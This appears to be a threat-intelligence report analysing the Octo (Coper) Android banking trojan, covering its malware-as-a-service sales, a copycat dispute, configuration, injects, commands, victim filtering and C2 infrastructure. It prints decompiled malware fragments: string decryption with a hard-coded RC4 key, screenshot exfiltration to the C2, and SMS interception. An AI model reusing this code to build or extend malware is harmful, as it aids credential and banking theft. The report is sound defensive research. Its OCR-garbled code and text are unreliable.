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ABSTRACT

It’s late at night, and you’ve been scrolling on your phone for several hours. You’re getting tired and gradually losing focus.
Then you notice an available update for one of your most-used apps on the Google Play Store. Without checking the
reviews, the developer, or the number of downloads, you simply download it. The next day, as any other day, you’re
opening your banking app to check for your finances, but this time the app asks you to reconnect and add your credentials
by using the online portal. Of course, you fill out the form with your credentials, and congratulations, you’ve been a victim
of a URL inject attack by Octo.

Android malware represents a significant and growing threat to the security and privacy of mobile users. As the Android
operating system continues to dominate the global market, its popularity has made it a prime target for cybercriminals.
Mainly used for data theft by extracting sensitive data from victim assets, such as passwords, and financial details, Android
malware can also be used for wider purposes.

In this paper we will give a detailed analysis of Octo’s capabilities such as injects, malware interaction using a series of
commands, communication with the C2, in-depth code analysis, etc. But we also present a behind-the-scenes analysis: what
does the builder look like? how do customers access the builder and their servers? how do they interact with newly built
campaigns? We also look at the infrastructure involved in this operation, describe how to hunt for C2s, and the actors
involved in this project.

INTRODUCTION

In mid-2021, a new strain of Android banking malware was detected in the wild. Some antivirus companies classified it as
a new family, naming it ‘Coper’. However, ThreatFabric’s threat intelligence indicated that it was a direct descendant of
the well-known Exobot malware family. Exobot, first observed in 2016 and derived from the source code of the Marcher
banking trojan, was actively maintained until 2018, targeting financial institutions through various campaigns in countries
such as Turkey, France, Germany, Australia, Thailand and Japan. Later, a streamlined version called ExobotCompact was
introduced by its creator, who is known as ‘android’ on dark web forums.

At that time, Coper was distributed as a fake version of Bancolombia’s Personas application. Its capabilities included
keylogging, interception of push notifications and SMS messages, and control over the infected device’s screen.

The latest activities of this malware family, and the actors behind it, involve distribution through several malicious
applications on the Google Play Store. These applications were installed over 50,000 times and targeted financial
organizations worldwide through both broad, generic campaigns and very narrow, focused campaigns across Europe.

In early 2022, ThreatFabric analysts observed a darknet forum post from a member seeking the ‘Octo’ Android botnet.
Analysing a sample related to Octo revealed a direct connection between Octo and ExobotCompact: ExobotCompact had
been updated with several new features and rebranded as Octo.

Today, Coper/Octo is offered as malware-as-a-service, where customers are provided access to a panel and builder used to
coordinate and execute campaigns. As a result, we observe Coper/Octo being used to target many countries across the
globe in campaigns crafted to appeal to specific audiences. The aforementioned fake Personas application serves as a good
example of the level of regional focus that the service can provide its customers.

SOME HISTORY AND DRAMA BEFORE STARTING

Octo first appeared in public discussions on underground forums in 2022, with its existence later confirmed by its
developer and owner, known as ‘TheArchitect’. However, it is possible to trace mentions of Octo back to late 2021, when
TheArchitect began sharing detailed documentation about the malware. These early documents highlighted Octo’s various
capabilities and strongly promoted its effectiveness, portraying it as a powerful tool for malicious actors. Interestingly, this
documentation did not remain static; in 2024, it was updated to include a comprehensive description of a newly added
feature, the Virtual Network Computing (VNC) capability. This addition further enhanced Octo’s appeal by showcasing its
advanced remote control functionalities.

@thearchitect

[ I
Octo - Android bot with VNC 2024

¥y

The only one official contact is Telegram @thearch001 (the arch 001)

The official channel is private and can be joined with invite from @thearch001 only

Figure 1: Octo's Teletype page describing its capabilities.
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The documentation provides a lot of details regarding the features embedded into Octo’s payload, bots and C2 package.
Most of the functions are listed, which are quite similar to any other Android malware, such as:

* VNC (hidden hVNC/graphical) provides full device control
* Web injects, URL injects

» CC grabber (as part of injects)

* Google Authenticator code grabber

+ Cookie stealer

» Keylogger collects all holder actions, browser URLSs, input data
* SMS intercept

* Push notifications intercept

* App/SMS/push notification/device lock

» Send SMS, USSD (call forwarding), push notification

* Open URL in device’s browser

* Run app on device

* Uninstall apps/bot

It also provides an interesting insight into the intended victim targets. Specifically, the documentation indicates that
customers of Octo are prohibited from targeting Commonwealth of Independent States (CIS) countries and China. This
restriction is stated explicitly in the documentation and is enforced through the code used for Octo’s victim registration and
filtering process. This code ensures compliance with the rule by automatically excluding these regions from potential
targets, underscoring the developer’s intent to control the scope of the malware’s use.

define(
define('F

if($data[P_COUNTRY] != "" && stristr(",".FORBIDDEN_COUNTRIES.",", ",".$data[P_COUNTRY].","
{

y: {$country}", $ip_raw);

Figure 3: Additional check for forbidden countries.

Gaining access to Octo and becoming a customer is not a particularly difficult task. TheArchitect, the developer, is known
to respond directly to individuals on underground forums who inquire about the price, seek access, or request additional
information. This direct communication facilitates easy entry for potential customers, making it simple for interested
parties to obtain and utilize Octo for their purposes.

e

Hello. | can | get details of Octo and prices? Send me details please?

AVATAR

QO >Kanoba

@ Architect

Answered in PM

Figure 4: Potential customer asking for Octo details.

I 17022024

Hello. | can | get details of Octo 2 date realese

O Kano6a

Architect

Answered in PM

19.02.2024 QO XKano6a

Figure 5: Another customer asking for Octo 2 release date.
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In March 2024, a customer’s question caught our attention, as it marked the first public mention of an Octo 3 version. This

inquiry was significant because it indicated the existence of a new iteration of the malware, suggesting ongoing
development and potential enhancements that had not previously been disclosed.

16.03.2024 L) )Kanoba

Architect

Hello. Octo 3 does not exist. OctopusBotnet - scam.
Contact me in PM for details

18.03.2024 ) )Kanoba

hello, when is octo 3 ready? already scammers, rent and sell, https://t.me/OctopusBotnet, if you enter here you will find, | think they are fake?, | am waiting for an answer, thank you.

Figure 6: First time someone asks for Octo 3.

TheArchitect’s answer, ‘Octo 3 does not exist’, was quite the opposite of the customer’s expectation. In fact, it seemed

there was another developer who was selling Octo Botnet under the same name on Telegram.

We tried to connect the dots to understand who was behind this ‘scam/fake’ Octo Botnet.

On 18 November 2023, an underground forum user stated that they were selling Octo Botnet monthly, at a price of $2,300

per month at the start, with an upcoming update due to raise the price to $3,000.

CD-auck

X 3abanen
Peructpauws: 14.08.2023
Coobuietns: 13
Peakuu: ]

18.11.2023

#1

® MoxanyiicTa, o6paTuTe BHUMaHWe, YTO NoNL30BaTeNs 3a6NoKUpoBaH

Cnoiinep: closed

My Telegram Address: @*

£ Kano6a

We sell monthly Octo Botnet through the Escrow system. You can buy it with Escrow for $2300 per month. An update will come soon and the price will be $3000.

MocnepHee pepakTypoBalue Moaeparopom: 23.11.2023

"y Like

Figure 8: User selling Octo Botnet on an underground forum.

TheArchitect responded in the same thread, stating that this user had no legitimate affiliation with Octo Botnet and
claiming that he was attempting to sell a Turkish bot using the Octo panel. The user countered by asserting that he was not
Turkish and had gained access by exploiting a vulnerability, enabling him to use and sell Octo Botnet independently. The
last response is dated 20 November 2023.

@(’n
.r,{dlézj
CD-puck
Peructpauus: 14.08.2023
CooblueHns: 13
Peakumn: 0

20.11.2023

AaTop Tems!

[ #e

® MoxcanyiicTa, o6paTtuTe BHUMaHWe, YTo Nonk3oBaress 3a6N10KMpoBaH

Architect ckasan(a):

- has no any relations to Octo bot

He tries to sell Turkish bot that pretends to be Octo, using my panel

You are completely wrong, we infiltrated your files through the vulnerability on your server and edited the https://(ip)/ section in the encrypted apk and everything works

perfectly.
Sorry, your Architect Bot is not perfect.

You said | was Turkish, | am not Turkish

Figure 9: The user states he isn't Turkish and that he gained access using a vulnerability.

Upon examining the Telegram channel of the fake Octo Botnet, the first thing we noticed was its creation date. The
message shown in Figure 10 is dated 21 November 2023, just one day after the dispute between the unknown user and

TheArchitect.
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21 November 2023

Octo Botnet 2.0 - Android bot with YNC+HVNC

APK FUNTIONS FUNCTIONS

Octo Botnet 2.0 - Android Banking Botnet with
VNC+HVNC

Octobotnet: With new updates and features we
added with our own hands, we turned Octo into
a monster.

Those who are curious, those who want a demo
can contact me, we are ready to reflect all
kinds of support and realism.

Our weekly / monthly and permanent
dealership sales have started, you can own
Octo Botnet with special small discounts for
the beginning.

You can contact us on telegram to get
information about features and usage.
#* © 2,9K edited 14:14

Figure 10: First Telegram message in fake Octo Botnet channel.

In this message, it is revealed that this Octo Botnet is a new version, specifically the 2.0 version. It includes new updates
and features, and communication is still conducted through 7elegram.

Fortunately, the owner of this 7elegram channel shares video demonstrations of his version of Octo, showcasing its
capabilities, panels, various features, and the installation process. He shares his desktop screen to walk through the
installation steps and displays his computer’s current language selection:

l . . ¥ | output
Dosya Girig Paylas Goranam
— '
B LI
Hizli erisime Kopyala Yapistir Duzenle Yeni Ac
sabitle 7] - - -

Pano

v A l bin » output

Ad
# Hizh erigim

octobotnetapk.apk

M Masadistd *
Indirilenler  #
B Belgeler *
BH Resimler *
B Bu bilgisayar #
B Bandicam
B BD2.Net Injector
B kali-linux-2023.3

16ge | 106gesegildi 537KB |
Figure 11: Screen shared by the fake Octo Botnet owner.

The red markings on the screenshot highlight the interesting findings. If you are not familiar with these words, ‘Dosya’ is the
Turkish word for ‘File’, ‘Belgeler’ is the Turkish word for ‘Documents’, and ‘Resimler’ is the Turkish word for ‘Pictures’.
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Upon examining the panel configuration — which we will discuss in more detail later to provide a comprehensive
understanding of this aspect — it becomes evident that all the available customer templates are also written in Turkish. This
indicates a strong association with the Turkish language, suggesting that the primary users or target audience of these
templates are Turkish-speaking individuals.

—— ¥ id client_id tpl_name lang a
[0 47 Edit %t Copy (@ Delete 537 77 gplay TR
[ .7 Edit ¥c Copy (@ Delete 565 77 kuzen TR
[0 &7 Edit ¥c Copy @ Delete 567 77  Lilisia TR
[J .7 Edit 3c Copy @ Delete 568 77 jacobbullet TR
[0 &7 Edit %t Copy (@ Delete 570 77  bigy TR
[ o7 Edit ¥c Copy (@ Delete 573 77 Mutevazi TR
[0 47 Edit 3 Copy @ Delete 575 87 chrome TR
[J &7 Edit % Copy (@ Delete 579 88 OdemeOnayi TR
[0 & Edit %t Copy @ Delete 580 77 NEWNEWNEW TR
[J 7 Edit 3 Copy (@ Delete 583 91 chrome TR
[0 &7 Edit 3 Copy @ Delete 585 88 chrome TR
[J .7 Edit %c Copy @ Delete 586 95 chrome tr
[J 47 Edit ¢ Copy @ Delete 587 94 chrome TR
[J 47 Edit 3£ Copy @ Delete 588 93 chrome TR
[J 47 Edit 3 Copy @ Delete 589 92 chrome TR
[J &7 Edit % Copy @ Delete 592 84 chrome tr
[J &7 Edit 3¢ Copy @ Delete 593 96 chrome tr
[0 o7 Edit ¥c Copy @ Delete 594 98 chrome TR
[0 47 Edit 3 Copy @ Delete 596 1 Develop TR
[0 &7 Edit %t Copy (@ Delete 599 94 AndroidUpdate TR
[0 &7 Edit ¥c Copy @ Delete 600 99 chrome TR
m Consoleit ¥t Copy @ Delete 601 100 chrome TR

Figure 12: Configuration for customer templates in Turkish.

Finally, in November 2023, two domains were created:
 octobusiness.com][.]tr
* businessocto.com[.]tr.

These developments have provided us with valuable insights into the person or entity behind this purported Octo Botnet.
Throughout the year, the actor behind this project asserted multiple times that their version of Octo surpassed the original,
making disparaging remarks aimed at TheArchitect. It’s worth noting that this variant of Octo was marketed at $10,000 per
month. However, this venture proved short-lived. As of today, the project has undergone a rebranding and is now known as
Rhinoandroidbotnet.

MALWARE ANALYSIS

Initial command-and-control capabilities

First, we will examine the Coper/Octo malware payload, which has been updated over the last few years to include new
features and provide greater “user’ flexibility. This flexibility becomes evident when we examine the malware
configuration, which is set by each customer/operator.

After the initial compromise and once communication with the C2 server has been established, the Coper/Octo bot payload
is passed to the victim device. The payload includes the configuration file, the parameters of which include:
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* block_push_apps: blocks push notifications for the listed applications.
* desired_apps: specifies the applications targeted by the malware.

» domains_bot: provides the C2 server for bot communications. This field is combined with the extra_domains field,
which serves as backup C2 information.

* keylogger enabled: a binary field determining whether the keylogging function is switched on or off.

* injects_list: the chosen injects the bot will deploy when a targeted application is accessed. Used in conjunction with
injects_to_disable. We will cover injects in further detail below.

* net_delay: determines the time delta for network requests, i.e. communications with the C2 server.
» smarts_ver: determines the inject version to be utilized. Again, we will cover this field in further detail below.

« uninstall_apps: a list of applications to be uninstalled from the infected device. Used in tandem with uninstall_delay to
specify the interval when this action takes place.

The aforementioned smarts_ver configuration field relates to the injects functionality embedded into the Coper/Octo bot
and the C2 infrastructure used to manage it. The smarts information is further broken down into a separate table, probably
to facilitate easier management.

This table contains information such as the inject and target type, as well as specific characteristics of the inject, such as
how extracted data should be formatted and whether the inject is currently active or not. An example of this table is shown
in Figure 13.

(1, 'html', 'specials’, 'gmail’, '%FILE_gmail.html%"', ", ", 1)

(2, 'ntml", 'specials', 'pattern’, '%FILE_pattern.html%', ", ", 1)

(3, 'html, 'specials’, 'pin’, '%FILE_pin.html%', ", ", 1)

Figure 13: Inject configuration table details.
From left to right, the data in the table is explained as follows:
* 1,2 & 3 are the inject IDs.
» Html is the inject type.

* Specials indicates that the inject is part of the default build provided when the bot is installed; these injects cannot be
removed.

* Gmail, pattern & pin are the inject payloads, followed by the path (denoted by the %FILE_ value).
* 1isan ‘is alive’ value, where in the case of the three injects shown this is ‘true’.
Coper/Octo supports several injects, for example:

+ Accessibility index: displays instructions on how to enable Accessibility Services, which are required to be activated
in order to facilitate remote interactions with the infected device. A degree of social engineering is employed to
encourage the victim to take this action.

» Fake pattern: displays a ‘fake’ unlock pattern screen to the victim user. This allows for the capture of the unlock
pattern required to access the device, which is of particular value for VNC interactions.

* Gmail fake: displays a ‘fake’ Gmail login form to the victim user. Steps are taken to make this form feel/look realistic
— for example the user’s email address is prepopulated, requiring only the password to be submitted, the obvious end
goal being the theft of email login credentials.

* URL inject: displays an overlay web page, such as an authentication form, when the victim user accesses an app. The
URL inject allows for the harvesting of credentials from any accounts or applications the operator wishes to target. The
inputted data and cookie information are transferred back to the control server as with the other injects.

In addition to the configuration file and injects, the operator can further interact with the malware using a series of
commands. All requests to/from the C2 infrastructure are AES encrypted and Base64 encoded. Examples of these
commands include:

* delete_bot: delete the Coper/Octo bot.

* intercept_off / _on: disable or enable SMS interception.
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lock_off / _on: unlock or lock the infected device.

open_url: open a web page in the infected device’s default browser.

set_vnc_task: provide a remote action command, e.g. a gesture.

sms: used to send an SMS message from the infected device (to a specific phone number).

start_/ stop_keylogger: start or stop keylogging on the infected device.

vne_start / _stop: start or stop VNC functionality — i.e. remote control of the device/screen.

Operators can also set further parameters to extract detailed information from the infected device, as summarized in the
table shown in Figure 14.

bI Bot ID || iFp List of unavailable permissions spD Data to save from the inject
bP Pin action iPa Does the trojan have push sPH Package name to save inject data
g notifications rights? 9 J
bR Registration action || iSE Is the device unlocked? sSD Save data from the smarts inject
= Number of occasions the bot was -
bs Send SMS || isSp R e el sT SMS time
bs VNC screenshot body to save kL Heylogger enabled/disabled? tA IMEI number
Tsk Current Accessibility Service kM Kevl tB Mobil b
cTs il eylogger message obile number
dA Status of trojan admin rights || 1A List installed applications tC Device country
el Error message || 18 A constant used as a tag tD System language
fgM Foreground mode 1K Is the device Locked/unlocked? tE Android version
fn VNC screenshot filename L Is the loader present? tF Device model
gSWI Get smart inject “ nS New SMS tG Mobile operator
iA L5 Eha t"];:n:;:rge‘c‘““ ShS || rIP Real IP from ip-api.com/json up Device uptime
Does the trojan have . .
Accessibility Services access? TS Device local timestamp vnc VNC status
iAg Is Android Go enabled by default? rZ Task results vned VNC XML layout
iBC Display battery status || sA SMS address vncScr | VNC takes a screenshot
- . Action request - followed by
iCP Is the device on charge? sB SMS body XC another parameter
sFd Boolean parameter indicating if
the inject is filled (or not)

Figure 14: Complete guide to the parameters Octo bot can handle.

Many of these parameters existed in earlier versions of Coper/Octo from around mid-2021, and Exobot dating as far back
as 2018, indicating the malware’s development ovSicate with each infected device (or ‘bot’), we can now delve into more
detail about how this story unfolds, with the support of examples and images.

Victim registration and filtering

When a victim device is initially registered with the bot’s C2 server, essential information such as the IMEI number, phone
model, Android version, device uptime, etc. is collected and stored in an SQL database. This data serves as a reference for
the threat operator and can be reviewed in the future.

Following registration, the victim device continues to send updates to the C2 server on a daily basis. These updates allow
the threat operator to monitor their infections and compile user interactions with the victim devices.

The screenshot in Figure 15 illustrates the bot registration script, providing a detailed view of these information values,
denoted as $value (e.g. $imei and $model).
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register($bot_id, $data)

$i5_sms_admin = (int)$datal[P_IS_SMS_ADMINM] ;
%15 _device_admin = (int)$data[P_IS5 DEVICE_ADMINI];
$is_locked = (int)%data[P_IS LOCKED];

if(isset($data [P_IS_LOADER_INSTALLED])
$is_loader_installed = (int)$data[P_LIS_LOADER_INSTALLED];

$is_loader_installed = 2;
$extra_info = $this->db->escape($this->getExtraInfo($data));

iflisset($data[P_REAL_IP]} && $data[P_REAL_IP] != ""
$ip_raw = $this—=parseIP($data[P_REAL_IP]);

$ip_raw = get_ip(};

%ip = $this->db->escape(substr($ip_raw, @, 512));
$bot_id2 sthis—>db->escape(Sbot_id);
$imei = $this->db->escape(substri($data[P_IMEI], @, 58));
$number = $this->db->escape(substr({$datalP_NUMBER], @, 15)!);
$country : s=>db->escape(substr($data[P_COUNTRY], @, 2));
$lang = $ti >db->escapelsubstri$data[P_LANG], @, 5));
tandroid = ¢ s=>db->escape(substr($data[P_ANDROID], @, 64));
tmodel = $this->db-=escape(substr($data[P _MODEL], @, 208));
$operator = $this->db->escape(substr($data[P_OPERATOR], @, 28));
$tag = ->db->escape(substri$data[P_TAG], @8, 32));
s->db->escapel $data [P_INSTALLED_APPS]);
s=>db->escape( (int)$data[P_UPTIME]);
his=>db->escape(substr($data[P_VNC], 8, 128));

1is—=cfg['k ar_enabled’];

Figure 15: Bot registration script, indicating all values the bot is looking for into the victim phone.

Two values hold particular significance during the bot registration stage: $country and $lang. Like many malware families,
Coper/Octo prohibits the infection of devices in Commonwealth of Independent States countries and/or devices utilizing
the official languages of these countries.

This means that, for customers of Coper/Octo, victims in Armenia, Azerbaijan, Belarus, Kazakhstan, Kyrgyzstan, Moldova,
Russia, Tajikistan, Turkmenistan and Uzbekistan are strictly out of scope. The filter is applied by the malware authors and
is present in all standard distributions of the malware.

Additionally, eagle-eyed readers will notice that victims in China (CN) and Ukraine (UA) are also prohibited.

The process of checking against language and country filters occurs alongside checks to ensure that the victim device is
not an emulator or running on a virtual machine, resulting in three distinct reasons why a bot may be rejected in the
registration process.

Once the registration process has been completed successfully and regular updates are being received from the bot, the
threat operator can begin to interact further using the commands and features outlined previously.

ENCRYPTION / EVADING DETECTION

To evade detection, all Dex classes associated with Coper/Octo are encrypted using a hard-coded RC4 key, following the
encryption routine illustrated in Figure 16.

With knowledge of the routine and the hard-coded key (1U0jgv9f6hgMZI48x) we are better equipped to understand the
Coper/Octo code, including its functionalities and interactions with the C2 infrastructure.

Using CyberChef, we can input encrypted strings, with the output being the decrypted string in plain text, as shown in
Figure 17.
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200
public class RC4Encryption {

private int index1 = 0;
private int index2 = 0;
private final int[] keySchedulingArray = new int[256];

public RC4Encryption(byte[] key) {
initializeKeyScheduling(key);
}

private void initializeKeyScheduling(byte[] key) {
for (int 1 = @; i < 256; i+) {
keySchedulingArray[i] = i;

= b;
= (j + keySchedulingArray[i] + (key[i % key.length] & 0xFF)) % 256;

)

(int 1 = 0; i < 256; i+) {

j

swapElements(i, j, keySchedulingArray);

private void swapElements(int i, int j, int[] array) {
int temp = array[i];
array[i] = arrayljl;
array[j] = temp;

public static String encryptDecryptRC4(String input) {
RC4Encryption rc4 = new RC4Encryption( f | .getBytes());
return rc4.performRC4(input);

public String performRC4(String input) {
byte[] inputBytes = hexStringToByteArray(input);
byte[] outputBytes = new byte[inputBytes.length];

for (int 1 = @; 1 < inputBytes.length; i+) {
index1 = (index1 + 1) % 256;
index2 = (index2 + keySchedulingArray[index1]) % 256;
swapElements(index1, index2, keySchedulingArray);
int xorIndex = (keySchedulingArray[index1] + keySchedulingArray[index2]) %
outputBytes[i] = (byte) (inputBytes[i] " keySchedulingArray[xorIndex]);

}

return new String(outputBytes);

public byte[] hexStringToByteArray(String s) {
int len = s.length();
byte[] data = new byte[len / 2];
for (int i = @; i < len; i += 2) {
data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4)
+ Character.digit(s.charAt(i + 1), 16));
}

return data;

Figure 16: Decryption routine with hard-coded key.
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Download CyberChef ¥ Last build: 3 days ago - Version 10 is here! Read about the new features here
Operations Recipe Al a Input
Search... e 78ccd6833cfR44808bT0542T6e
Favourites * Passphrase .
1U0j gv9f6hgMZI48x UTES
To Base64
Input format Output format
Hex Latin1
From Base64 -2 =1
To Hex Output
From Hex |is_registered
To Hexdump

Figure 17: Strings decryption with CyberChef using the key found and encrypted string.

We can then use this process to decipher the encrypted information described above, for example the screenshot in Figure
18 has the plain text values for a number of encrypted strings commented out:

public static veid sartjsrtfisrfitsrtjgfhe(Context context) {
IntentFilter intentFilter = new IntentFilter();
intentFilter.addAction{Cbreak.fddo("70d1led8336Ted95d961b522 7640757 dd340161e295e177d180bae56123d1d77Tdced") ); // android.intent.action.USER_PRESENT
intentFilter.addAction{Cbreak.fddo("70dled8336Te495d967b5227640757dd340161e295e160cdBabce5723ed9d476d7ed9810" ) ); // android.intent.action.BOOT_COMPLETED
intentFilter.addAction{Cbreak. fddo("78d1ed8336fed95d96fb522 64075 fdd348161e295e173d78cabf1733edbd®65c2f6BallbTaccs")); // android.intent.action.QUICKBOOT_POWERON
intentFilter.addAction{Cbreak.fddo("70d1led8336Te495d967b5227640757dd340161e295e172¢386a3Th7634chc57ed6Tc99")); // android.intent.action.PACKAGE_ADDED
intentFilter.addAction{Cbreak.fddo("70dled8336Te495d961b522640757dd340161e295e172¢386a3Th7634chd67Tdff68b11a1")); // android.intent.action.PACKAGE_REMOVED
intentFilter.addAction(Cbreak. fddo("78d1ed8336fed95d8fe7493c631714ce79216de19ebfdaedab9194623cc7db6Bd7 fa981db3a6e3")); // android.provider.Telephony.SMS_RECEIVED
intentFilter.addAction{Cbreak.fddo("70d1led8336Te495d967b5227640757dd340161e295e171c197adf f7f2edbca")); // andreid.intent.action.SCREEN_ON
intentFilter.addAction{Cbreak.fddo("7@dled8336Te495d96fb522164075fdd340161e295e167da91adesd7f30d8db7bc2e9911daba2d36ae9225d0026970aad3ecaeddlch));
// android.intent.action.EXTERNAL_APPLICATIONS AVAILABLE
intentFilter.addAction{Cbreak.fddo("70d1led8336Te495d91705264691c1fd2793647c3b58a61d68cbef36528chc772d379a11")); // android.net.conn.CONNECTIVITY CHANGE
intentFilter.addAction(Cbreak. fddo("70d1led8336Te495d91f052647d1al17d5792241cbb29071d684beffee32dcc574d5Tc99")); // android.net.wifl.WIFI_STATE_CHANGED
intentFilter.addAction({Cbreak. fddo("7@d1led8336Ted95d967b522764075fdd340161e295e166d080a977783Td3db69c6T68dB4ala7")); // android.intent.action.DREAMING_STOPPED
intentFilter.addCategory(Cbreak.fddo("70d1ed83367e495d96Th522764075Tdf36016dea%4bd5bac8da7f774")); // android.intent.category.HOME
try {
context.registerReceiver(new p@77j(), intentFilter);
} catch (Exception unused) {
¥

Figure 18: Strings decryption example.

In addition to the usage of encryption, Coper/Octo seeks to hide its tracks in other ways. Indeed, the use of certain
permissions like REQUEST COMPANION RUN_IN_ BACKGROUND and REQUEST COMPANION_USE DATA
IN_BACKGROUND indicates a level of stealthiness sought by Coper/Octo.

These permissions are commonly utilized by Android malware to ensure their operations remain inconspicuous in the
background, reducing the likelihood of detection by the device’s user. By running discreetly and utilizing data in the
background, the malware can execute its malicious activities without drawing attention to itself, thereby maximizing its
effectiveness in compromising the victim’s device.

CAPABILITIES IN ACTION

Keylogging

The keylogger functionality is a primary feature of Coper/Octo, enabling it to log every keystroke made on the victim’s
phone. Upon activation, Coper/Octo checks the status of the keylogger by verifying the value ‘keylogger enabled=1". If
enabled, it captures all information entered by the victim via the keyboard, including events and taps on the device. This
encompasses application passwords, graphical patterns, PINs, push notifications and screen passwords. Furthermore, the
keylogger retrieves data from the device’s web browser. In cases where the keylogger is not initially enabled, it can be
activated later through the C2 panel.

All keylogged information is stored in a file within the device’s data directory. Once the contents of the keylogger data file
have been fully read, the file is deleted. This indicates a policy of utilizing the storage space once and temporarily,
potentially for operational security reasons and to prevent sensitive data from remaining accessible on the filesystem,
which could serve as evidence of the device’s compromise.

Injects

Injects also play a crucial role in the Coper/Octo service offering, providing customers with a wide range of data theft
mechanisms, as previously described. These injects are initially configured in the bot but can later be modified from the
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customer’s C2 panel. Figure 19 shows an example of a URL inject designed to target Gmail user information, using an
overlaid ‘spoofed’ login form to capture the victim’s credentials.

( N

private String ml8else(String str, String str2, String str3) {

this.f19goto) {
.replace(

)3

y.ml4S5throws(this
ghmaepfmdh
per(this.f2¢

+ ml4Sthrows +

yublic(this.f20new);
()) {
mll@new);

return replace2.replace( , mllOnew):

Figure 19: URL inject targeting Gmail login.
Breaking this screenshot down step by step:
+ First, the inject type is defined, in this case, ‘url’
» Next, it injects ‘onblur’ event handlers in order to capture user inputs
» Then, the HTML content of the page is updated with genuine device and application information, increasing ‘realism’
+ Finally, the captured Gmail credentials are stored in the file ‘gmail_login’

Injects can also be used, as referenced previously, to obtain the infected device’s screen password or PIN, enabling remote
access and management of the device.

VNC (remote access)

Coper/Octo is not unique among Android malware families in adopting VNC in its bag of tricks, with other notable
examples including Godfather [1], Hook [2] and Vultur [3].

VNC provides an alternative option for monitoring user input, such as using its screen recording capabilities to capture
information inputted into things like banking services or applications and websites of interest. In this way, VNC serves as
the third ‘alternative’ to inject and keylogging capabilities.

To execute all of its VNC features, Coper/Octo requires permissions for the Accessibility Service to be granted; we
previously covered an inject used to socially engineer the victim into activating this.

Once permissions are granted, VNC is utilized for a number of purposes, including:

* Enabling or disabling device sounds, which is useful when the operator wants to capture things like SMS messages or
push notifications.
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 Enabling the virtual keyboard, allowing the operator to enter information into the infected device.

* Modifying the device backlight, which can potentially be used to interact with the device while it appears to be in
sleep mode.

» Sending pattern codes to unlock the device.

 Taking device screenshots (the process of which is illustrated in Figure 20).

public veid fddo(Context context) {
try {
File file = new File({context.getApplicationInfo().dataDir, “screenshot.jpg");
if (file.exists()) {
FileInputStream fileInputStream = new FileInputStream(file);
int length = (int) file.length();
byte[] bArr = new byte[lengthl;
int i = @;
while (i = length) {
int read = fileInputStream.read{bArr, i, length - i};
if (read = @) {
break;
1
i += read;
)
if (i = length) {
return;
¥
fileInputStream.close();
ifdf(context, bArr, "screenshot.jpg");
}
} catch (Exception unused) {
¥
}

public void ifdf(Context context, bytel[l bArr, String str) [
JS0NObject jSONObject = new JSONObject();
try {
jSONObject.put("xc", "vncScr");
jSONObject.put("fn", str);
jSONObject.put("bs", Basehd.encodeToString(bArr, 0));
new Cthis(context, jSOMObject).executeOnExecutor{AsyncTask.THREAD_POOL_EXECUTOR, new Void[@]);
} catch (JSOMNException unused) {
1
H

Figure 20: VNC feature example from an Octo bot.

Referring to the table of parameters used by Coper/Octo, we can observe that an action request is made (xc) for a
screenshot to be taken (vneSer), with a filename defined (fn) and an image body to be saved (bs) as a Base64 string.

SMS message interaction

The final capability we’ll examine is Coper/Octo’s ability to interact with SMS messaging services, allowing it to intercept,
read and send messages within the device.

As with other aspects of the malware, the initial step is to ensure that the required permissions are granted.

Once confirmed, the bot will initiate the SMS interception process, whilst simultaneously aborting the SMSReceived
broadcast to the victim (using the command ‘EXC_SMSRCYV’), meaning notifications for new messages are no longer
served to the victim user.

In the screenshot in Figure 21 we have used the previously described decryption process (see the section on encryption /
evading detection) to help illustrate the SMS interception process.

Once again, referring to the table of parameters used by Coper/Octo, we can observe that the SMS address (sender) is
defined (sA), along with the message body (sB) and timestamp (sT).

As mentioned earlier, this capability enables the operator to read messages received by the victim and send out new
messages from the compromised device. This functionality might be utilized as a method for further onward infection of
other devices, possibly by persuading the recipient(s) to download a malicious application.

13
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public class p@33u extends BroadcastReceiver [
// ==5msRcv

/% renamed Trom: fddo =/
private static final String f92fddo = Cbreak.fddo("2f81da9c2ac54e05"); SmsRcv

public JSONObject fddo(Context context, Intent intent) {
Object[] objArr;
String displayMessageBody;
Bundle extras = intent.getExtras();
if (extras = null || (objArr = (Object[]) extras.get{Cbreak.fdde("61dbfc82"))) = null) { // pdus pdus
return null;

int length = objArr.length;
SmsMessage[] smsMessageArr = new SmsMessage[lengthl;
for (int i = @; i < objArr.length; i++) {
smsMessageArr[i] = SmsMessage.createFromPdu( (byte[]l) objArr[il);
}
if (length == 1 || smsMessageArr[0].isReplace()) {
displayMessageBody = smsMessageArr[8].getDisplayMessageBody();
} else {
StringBuilder sb = new StringBuilder(});
for (int i2 = @; i2 < length; i2++) {
sh.append(smsMessageArr[i2].getMessageBody());

displayMessageBody = sb.toString();

SimpleDateFormat simpleDateFormat = new SimpleDateFormat(Cbreak.fddo("75dbabbcl4b8540a86ec060242491cd16d067b"));
7/ dd/MMiyyyy HH:mm:ss : :

JSONObject jSOMObject = new JSONObject(); )

jSONObject.put(Cbreak. fddo("69dc"), Cbreak.fddo("73ec"));

String str = (5tring) smsMessageArr[@].getClass().getDeclaredMethod(Cbreak. fddo(
"76dafdb530ed45d1f9eect938631418d2360161e39cBed6e6b78dc942"), new Class[@]).invoke(smsMessageArr[@], new Object[@]);
// getDisplayOriginatingAddress getDisplayQriginatingAddress

jSONObject.put(Cbreak. fddo("62fe"), str); SA

jSONObject.put (Cbreak. fddo("62fd"), displayMessageBody); sB

String format = simpleDateFormat.format(Long.valueOf(smsMessageArr[8].getTimestampMillis()));

jSONObject.put(Cbreak. fddo("62eb"), format); sT

Cgoto.qg(context, format, str + Cbreak.fddo("2b") + displayMessageBody);

return jS0NObject;

}

@lverride f/ android.content.BroadcastReceiver
public void onReceive(Context context, Intent intent) {
try {
JSONObject fddo2 = fddol(context, intent);
if (fddo2 != null) {
new Cthis(context, fddo2).executeOnExecutor(AsyncTask.THREAD_POOL_EXECUTOR, new Void[@]);
}
} catch (Exception e) {
Cgoto.mll7class(context, "EXC_SMSRCV", e);
¥

abortBroadcast();

H

Figure 21: SMS interaction example.

WHAT’S THE BUILDER TELLING US?

During our investigation of Octo, we came across servers that drew our attention. Some of the Octo servers were using port
:8443 for HTTP purposes. The most interesting server we found was (and still is as of today):

. 188.166.70[.]16

At first, attempting to access this server resulted in a 403 error, indicating forbidden access. However, after further
investigation and multiple attempts, we finally uncovered the issue. The server was filtering connections, permitting only
those trying to connect to the correct URL used by the server while denying all others. Figure 22 shows what we discovered
once we understood this filtering mechanism — the Octo main builder panel.

